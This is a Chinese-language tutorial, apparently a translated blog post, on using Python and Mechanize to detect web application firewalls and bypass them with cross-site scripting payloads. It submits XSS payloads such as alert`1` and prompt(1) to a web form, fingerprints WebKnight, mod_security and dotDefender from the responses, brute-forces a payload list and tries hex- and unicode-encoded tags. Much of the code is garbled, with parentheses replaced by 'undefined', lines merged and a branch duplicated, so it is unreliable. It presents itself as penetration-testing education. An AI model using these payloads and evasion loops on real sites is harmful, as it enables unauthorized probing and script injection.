使用Python檢測並繞過Web應用程序防火牆
Web應用防火牆通常放置在Web伺服器的前面,以過濾來自伺服器的惡意流量。如果你去一家公司做滲透測試,他們忘記告訴你,他們使用的Web應用防火牆,可能會影響滲透測試進度。下圖描繪了一個簡單的Web應用程序防火牆的工作原理:
正如你可以看到它像Web流量和Web伺服器之間的牆壁,通常現在Web應用防火牆是基於簽名的。
什麼是基於簽名的防火牆?
在基於簽名的防火牆中,您可以定義簽名,因為您知道網路攻擊也遵循類似的模式或簽名。因此,我們可以定義匹配模式並阻止它們,即
Payload :- alert`1`
上面定義的Payload是一種跨站點腳本攻擊,我們知道所有這些攻擊都可以包含以下字元「」,所以為什麼我們不定義一個可以阻止Web流量的簽名,如果它包含這個字元串,我們可以定義2-3個簽名如下:
alert(*)
第一個簽名將阻止包含子串的任何請求,第二個將阻止警報(任何文本)。那麼這就是基於簽名的防火牆的工作原理。
怎麼知道有防火牆?
如果您正在進行滲透測試,並且您不知道有防火牆阻塞流量,因為它可能浪費了大量的時間,因為大多數時候,您的攻擊有效負載被防火牆阻止,所以,在開始滲透測試之前,首先測試Web應用程序防火牆存在是一個好主意。
大多數防火牆現在就留下一些關於它們的軌跡,現在如果您使用上面定義的有效載荷攻擊網路應用程序,並獲得以下響應:
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
您可以清楚地看到,您的攻擊被Mod_Security防火牆阻止。在本文中,我們將看到我們如何開發一個簡單的python腳本,可以執行此任務檢測防火牆並繞過它。
步驟1:定義HTML文檔和PHP腳本!
我們必須定義我們的HTML文檔來注入有效載荷和相應的PHP腳本來處理數據。我們在下面定義了這兩個。
我們將使用以下HTML文檔:
Data:
PHP腳本:
Data from the form :
步驟2:準備惡意請求!
檢測防火牆存在的第二步是創建一個可以被防火牆阻止的惡意跨站腳本請求。我們將使用一個名為「Mechanize」的python模塊,了解更多關於此模塊的信息,請閱讀以下文章:
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果您已經了解了Mechanize,可以跳過閱讀文章。現在您了解了Mechanize,我們可以選擇任何頁面上提供的Web表單並提交請求。以下代碼片段可用於做到這一點:
讓我們明白這個代碼行:
在第一行,我們導入了mechanize模塊,並給它一個簡稱"mec 供以後參考。
要使用mechanize下載網頁,需要實例化瀏覽器。我們已經在代碼的第二行中做到了。
在第一步,我們定義了我們的HTML文檔,其中表單名稱為「waf」,我們需要告訴mechanize選擇此表單提交,因此我們在名為formName的變數中使用此名稱。
比我們打開這個URL,就像我們在瀏覽器中一樣。頁面打開後,我們填寫表單並提交數據,因此頁面的打開與此相同。
最後我們選擇了使用"select_form 函數傳遞它 formName 變數的形式。
正如你可以在HTML源代碼中看到的那樣,這個表單只有一個輸入欄位,我們將在該欄位中注入我們的payload,一旦我們收到響應,我們將檢查它的字元串以檢測是否存在Web應用防火牆。
步驟3:準備有效載荷
在我們的HTML文檔中,我們使用以下代碼指定了一個輸入欄位:
您可以看到該欄位的名稱是「data」,我們可以使用以下代碼定義此欄位的輸入:
crossSiteScriptingPayLoad = "alert`1`
"
maliciousRequest.form[ data ] = crossSiteScriptingPayLoad
第一行將我們的有效載荷保存在變數中。
在第二行代碼中,我們已將我們的有效內容分配給表單欄位「數據」。
我們現在可以安全地提交此表格並檢查答覆。
步驟4:提交表單並記錄回復
代碼我將在此行提及後提交表單並記錄回復:
maliciousRequest.submit()
response=maliciousRequest.response().read()
print response
提交表單
將響應保存在變數中。
列印回應。
由於我目前沒有安裝防火牆,所以我得到的響應是:
可以看到有效載荷被列印回我們,意味著應用程序代碼中不存在過濾,並且由於沒有防火牆,我們的請求也沒有被阻止。
步驟5:檢測防火牆的存在
名為「response」的變數包含從伺服器獲得的響應,我們可以使用響應來檢測防火牆的存在。我們將嘗試在本教程中檢測到以下防火牆的存在。
WebKnight
mod_security
Dot Defender
看看我們如何用python代碼實現這一點:
if response.find( WebKnight ) >= 0:
print "Firewall detected: WebKnight"
elif response.find( Mod_Security ) >= 0:
print "Firewall detected: Mod Security"
elif response.find( Mod_Security ) >= 0:
print "Firewall detected: Mod Security"
elif response.find( dotDefender ) >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
如果安裝Web Knight防火牆並且我們的請求被阻止,響應字元串將在其中包含「WebKnight」,那麼find函數將返回大於0的值,這意味著WebKnight防火牆存在。同樣,我們也可以檢查其他2個防火牆。
我們可以擴展這個小應用程序來檢測多少個防火牆,但您必須知道響應行為。
使用強力來繞過防火牆過濾器
我在文章的開頭提到,大多數防火牆都基於簽名阻止請求。但是,您可以使用數千種方式構建payload。javascript比較複雜,我們可以列出有效負載,並嘗試其中的每一個,記錄每個響應並檢查是否能夠繞過防火牆。請注意,如果防火牆規則被明確定義,則此方法可能無法正常工作。讓我們看看我們如何使用python來強爆:
listofPayloads = [ Close me! ,
prompt( 1) , CLICK ME ]
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = waf maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_formundefinedformName) maliciousRequest.form[ data ] = payLoads maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined WebKnight ) >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined Mod_Security ) >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined Mod_Security ) >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined dotDefender ) >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
在第一行,我們定義了3個有效載荷的列表,您可以擴展此列表,並根據需要添加多個有效負載。
然後在for循環中,我們做了與上面所做的相同的過程,但是這一次對於列表中的每個有效載荷。
收到響應後,我們再次比較看看防火牆是否存在。
因為我沒有安裝防火牆,我的輸出是:
將HTML標籤轉換為Unicode或Hex實體
如果防火牆正在過濾html標籤,如。我們可以發送相應的Unicode或Hex實體,看看它們是否被轉換為原始形式,如果是這樣,那麼這也可能是一個入口點。以下代碼可用於檢查此過程:
listofPayloads = [ , u003cbu003e , x3cbx3e ]
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = waf
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName)
maliciousRequest.form[ data ] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
每次我們將發送編碼的數據,在響應中,我們將檢查是否轉換或列印回而不進行轉換,當我運行這個代碼,我得到了這個輸出:
表示沒有編碼的數據被轉換為其原始格式。
結論
本文的目的是讓您了解web應用防火牆,測試您網路的安全性,很多時候我們首先關心的應用程序的穩定性,但是我們忽略了安全部分,導致後期出現了嚴重的安全問題。
測試完整的源代碼可以從這個鏈接下載。
點擊展開全文


※2017年度15個最好的數據科學領域Python庫
※ShutIt:一個基於 Python 的 shell 自動化框架
※2017,最受歡迎的 15大Python 庫有哪些?
※代碼這樣寫更優雅(Python 版)
※向正在運行的Python進程注入代碼
TAG:Python |
※使用Egressbuster測試防火牆出站規則
※CobaltStrike-用「混淆」繞過Windows防火牆
※使用Microsoft.com域來繞過防火牆並執行有效載荷
※Web應用程序防火牆(WAF)bypass技術討論(一)
※使用Vmware WorkStation模擬Juniper防火牆
※Web應用程序防火牆(WAF)bypass技術討論(三)
※如何暫時禁用 iptables 防火牆
※繞過nftables/PacketFilter防火牆過濾規則傳輸ICMP/ICMPv6數據包的漏洞詳解(上)
※如何利用Struts2漏洞繞過防火牆獲取Root許可權
※Centos7默認firewalld防火牆使用命令
※20條IPTables防火牆規則用法!
※如何繞過Web應用程序防火牆?
※如何繞過Web應用程序防火牆?
※Win7系統打開程序時彈出"windows防火牆安全警報"的解決方法
※微軟為 Linux 子系統提供 Windows Defender 防火牆
※Palo Alto Networks為5G網路推出下一代防火牆
※微軟將把Windows Defender防火牆傳遞給 Linux 子系統
※Fedora 28 server web 無法訪問之配置防火牆
※Cisco ASA防火牆webvpn遠程代碼執行
※checkpoint,世界上最牛的防火牆?Avalanche測一下!